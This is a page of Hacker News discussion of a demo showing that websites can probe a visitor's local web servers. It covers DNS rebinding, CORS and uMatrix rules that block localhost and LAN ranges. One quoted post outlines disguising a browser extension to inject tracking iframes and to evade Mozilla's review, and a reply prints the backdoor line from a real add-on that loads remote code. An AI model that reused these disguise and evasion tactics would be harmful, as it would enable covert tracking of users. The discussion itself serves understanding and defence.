Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

I can see your local web servers

http.jameshfisher.com

Post reply on HN
Print view View original

101–110 of 198 posts

Re: I can see your local web servers

#101

Post by maratd »

bill_joy_fanboy wrote: post #91

I'm interested in this because I don't fully understand the consequences here. I'd like to gain a deeper understanding through some concrete examples. With the PHP CLI, I can run: php -S localhost:8000 With Python3, I can run: python -m http.server 8000 --bind localhost The demo fails for me in both cases, even though a request to localhost:8000 is sent. (EDIT: The server log in the terminal window does show that the…

> My question is: What is the risk of running one of these servers and then visiting some random web page?

It depends on what you're exposing on those ports. If it's something sensitive, stop. Any web page can run javascript and as such, any web page has access to every port and service that your machine has access to ... because at that point, the web page is a program running on your machine with full network access.

However, this entire "vulnerability" makes no sense to me. Even if I'm running something on my machine or local network, I am not going to rely on the firewall as a security mechanism. That is profoundly stupid and is well known to be profoundly stupid. So all those servers, including the ones I am creating and running, will have their own security mechanisms. So you can ping my server? So what?

Re: I can see your local web servers

#102

Post by modzu »

megous wrote: post #39

Other approach is to create a useful extension like: https://addons.mozilla.org/en-US/firefox/addon/yt-adblock/reviews/ disguise that you're inserting an iframe linking to your web server into every single page user opens, by naming variables and your tracking domain incorrectly and by waiting for an hour after installation (this may also help avoid automatic tests mozilla is doing) and then just sit back and wait an…

what is meant by, "users are banned from fixing the extension code locally"? i download and modify other people's extensions all the time.

Re: I can see your local web servers

#103

Post by farukuzun »

megous wrote: post #39

Other approach is to create a useful extension like: https://addons.mozilla.org/en-US/firefox/addon/yt-adblock/reviews/ disguise that you're inserting an iframe linking to your web server into every single page user opens, by naming variables and your tracking domain incorrectly and by waiting for an hour after installation (this may also help avoid automatic tests mozilla is doing) and then just sit back and wait an…

Very nice catch. I examined a little bit more. Seems like line 16 on scripts/yts.js is the backdoor.

  enableButton.src = '//remove' + '.' + 'video/webm';
So owner of this addon have remove.video domain. On https://remove.video/webm there's a packed javascript code. When I unpacked it I got this: https://paste.ubuntu.com/p/C24bZc9Cn7/

There's a base64 encoded domain list in packed javascript code. Here's the list of domains: https://paste.ubuntu.com/p/RMKd8Ms5QQ/

Re: I can see your local web servers

#104

Post by farukuzun »

kapep wrote: post #99
megous wrote: post #39

Other approach is to create a useful extension like: https://addons.mozilla.org/en-US/firefox/addon/yt-adblock/reviews/ disguise that you're inserting an iframe linking to your web server into every single page user opens, by naming variables and your tracking domain incorrectly and by waiting for an hour after installation (this may also help avoid automatic tests mozilla is doing) and then just sit back and wait an…

Is there any way to get the source code of extensions from the Mozilla web site? I think some years ago you could look at the code in your browser from a link in the version history but I don't see any links at all now.

I'm using this extension for it: https://addons.mozilla.org/en-US/firefox/addon/crxviewer/

Re: I can see your local web servers

#105

Post by unpixer »

shakna wrote: post #38
jand wrote: post #31

Funny enough, the site is reporting port 3000 to be running a web server. It is not - according do nmap and my knowledge. Any ideas on this?

If you're on Linux, BSD and macOS, you can run: sudo lsof -i | grep 3000 To try and see if a process has claimed the port. On Windows: netstat -ab I've forgotten so much Windows I don't know how to filter the result, but it'll give you a list of ports and processes.

Some BSD systems won't have lsof out of the box, in which case fstat/netstat will give you the results you want.

Re: I can see your local web servers

#106

Post by nostalgk »

jsty wrote: post #29

"If you see any results like 192.168.0.4:3000 is available!, you should tell your colleague to secure whatever she has running on that port" Someone's going to access this page at $BIGCORP with an overly trigger-happy IDS and get a fun morning meeting with IT to un-quarantine their machine.

Yup, excited for the meeting. Haven't seen those guys in a while.

Was expecting to learn some security techniques, instead got essentially port scanned :)

Re: I can see your local web servers

#107

Post by bg0 »

gnomewascool wrote: post #30

If you use uMatrix, you can easily block the localhost and local network "sniffing" with the following rule[0]: * 127 * block ### block access to IPv4 localhost 127.x.x.x * localhost * block * [::1] * block ### block access to IPv6 localhost * 192.168 * block ### block access to LAN 192.168.x.x In principle, you can use this without any other blocking, i.e. with the rule: * * * allow and hence without disabling javas…

Anyone know if this can be done on a hosts level instead of a browser level?

Re: I can see your local web servers

#108

Post by tgragnato »

chronial wrote: post #72
lostjohnny wrote: post #66

Earlier quoted context omitted.

It doesn't matter, you should be in control of a DNS the user relies on and you should have your server send Access-Control-Allow-Origin: mypage.com or Access-Control-Allow-Origin: * which is not a default anywhere AFAIK and is domain based, not IP based And your server should be enabled to respond to mypage.com host header

Based on m12k's suggested interpretation of your comment: > you should be in control of a DNS the user relies on You always are when a users visits your domain – you control the DNS of your domain. > Access-Control-Allow-Origin: * You don't need access-control headers, because you stay on the same domain. > Your server should be enabled to respond to mypage.com host header Most servers listening on localhost ignore t…

The short TTL is very sketchy and most NIDS(s) have contextual rules to detect DNS rebinding attacks. One may additionally filter private ranges from responses and HTTP requests by host headers. Not to mention TLS.

It's useful against vulnerable IoT devices or home routers, but is it still effective to breach enterprise perimeters?

Re: I can see your local web servers

#109

Post by linuxftw »

mehrdadn wrote: post #84
mjlee wrote: post #82

Earlier quoted context omitted.

There are a fair number of applications that expose a UI with a local web server. I use the Ubiquiti Controller, but it's also quite common in the world of Plex, etc. It's also a path used for local OIDC, such as with the gcloud CLI.

> expose a UI with a local web server I'm not talking about UIs hosted on local web servers being able to send requests to themselves, I'm talking about UIs hosted on REMOTE web servers being able to send requests to local ones. It seems far worse than a random cross-origin request to me and for the life of me I can't imagine uses cases.

That's not really how the internet works.

What is a local webserver? Running on your machine? Running on your LAN? Running on your corporate intranet? How should a browser differentiate between these things?

What qualifies as a remote server? Did you know, some very large enterprise environments squat on public IP's for private intranet internally due to address space exhaustion (IPv4 anyway)? Just because something appears to be on a public address doesn't mean it actually is.

Re: I can see your local web servers

#110

Post by echeese »

maratd wrote: post #101
bill_joy_fanboy wrote: post #91

I'm interested in this because I don't fully understand the consequences here. I'd like to gain a deeper understanding through some concrete examples. With the PHP CLI, I can run: php -S localhost:8000 With Python3, I can run: python -m http.server 8000 --bind localhost The demo fails for me in both cases, even though a request to localhost:8000 is sent. (EDIT: The server log in the terminal window does show that the…

> My question is: What is the risk of running one of these servers and then visiting some random web page? It depends on what you're exposing on those ports. If it's something sensitive, stop. Any web page can run javascript and as such, any web page has access to every port and service that your machine has access to ... because at that point, the web page is a program running on your machine with full network acces…

If it's got CORS enabled you can do a hell of a lot more than ping your server.
Post reply on HN